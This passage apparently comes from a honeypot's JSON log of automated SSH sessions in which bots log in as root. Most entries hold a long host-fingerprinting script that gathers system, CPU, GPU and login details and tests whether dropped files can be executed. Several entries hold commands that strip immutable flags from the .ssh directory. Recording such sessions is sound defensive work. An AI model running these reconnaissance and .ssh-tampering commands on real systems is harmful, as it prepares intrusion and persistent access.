s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T04:51:21.367488+00:00",
  "ended_at": "2026-08-27T04:51:21.917564+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "8a44f1e9-c3c6-4b0c-923d-a205c3ef9fc6",
  "name": "fleeting-pristine-osprey",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 54876,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T04:49:14.896325+00:00",
  "ended_at": "2026-08-27T04:49:15.672073+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "99818851-7ea4-4d62-913b-65273d776767",
  "name": "barren-airy-dolphin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 42160,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 325,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T04:47:24.670832+00:00",
  "ended_at": "2026-08-27T04:47:26.373253+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2258
 },
 {
  "id": "118dee24-85e4-4453-967a-68c1b51c952f",
  "name": "balmy-marbled-firefly",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 51932,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T04:47:20.478481+00:00",
  "ended_at": "2026-08-27T04:47:20.630927+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "4c7e9bc1-9fe3-4e05-a308-75e2af031077",
  "name": "polar-feral-grebe",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 54354,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:47:08.695127+00:00",
  "ended_at": "2026-08-27T04:47:10.304877+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8d1d44ba-d548-40c2-9bff-c2694f2ca2bd",
  "name": "dapper-windswept-nuthatch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 43532,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 311,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T04:45:24.577959+00:00",
  "ended_at": "2026-08-27T04:45:25.818090+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2249
 },
 {
  "id": "5d2f347d-0292-46bc-aba6-5d5423f59cc1",
  "name": "smooth-quiet-swallow",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 48934,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T04:45:22.272937+00:00",
  "ended_at": "2026-08-27T04:45:22.509150+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "12f4f41c-6dd2-47b4-aa8e-a9abffba547e",
  "name": "painted-somber-wigeon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 43550,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:45:10.251473+00:00",
  "ended_at": "2026-08-27T04:45:10.943304+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fe58c12f-962e-40fe-bca5-55eac4989b2c",
  "name": "placid-lonesome-skink",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 45992,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T04:43:26.539546+00:00",
  "ended_at": "2026-08-27T04:43:26.745904+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "ce2cbbb4-72fd-470e-8f3d-299ad9602594",
  "name": "dapper-ancient-tanager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 43020,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T04:41:27.031150+00:00",
  "ended_at": "2026-08-27T04:41:27.143015+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "ae3bef40-401d-4101-a77c-049085b2d196",
  "name": "emerald-shifting-agouti",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.86.177",
  "src_port": 48990,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 314,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T04:41:26.191133+00:00",
  "ended_at": "2026-08-27T04:41:27.762207+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2227
 },
 {
  "id": "3ef78400-00ee-4b01-8cf7-be386bacbc88",
  "name": "emerald-fabled-sandpiper",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.86.177",
  "src_port": 49010,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T04:41:10.304314+00:00",
  "ended_at": "2026-08-27T04:41:11.718935+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "17c42d62-88e2-4d36-8230-abac266f69db",
  "name": "wandering-woven-grebe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 40090,
  "username": "root",
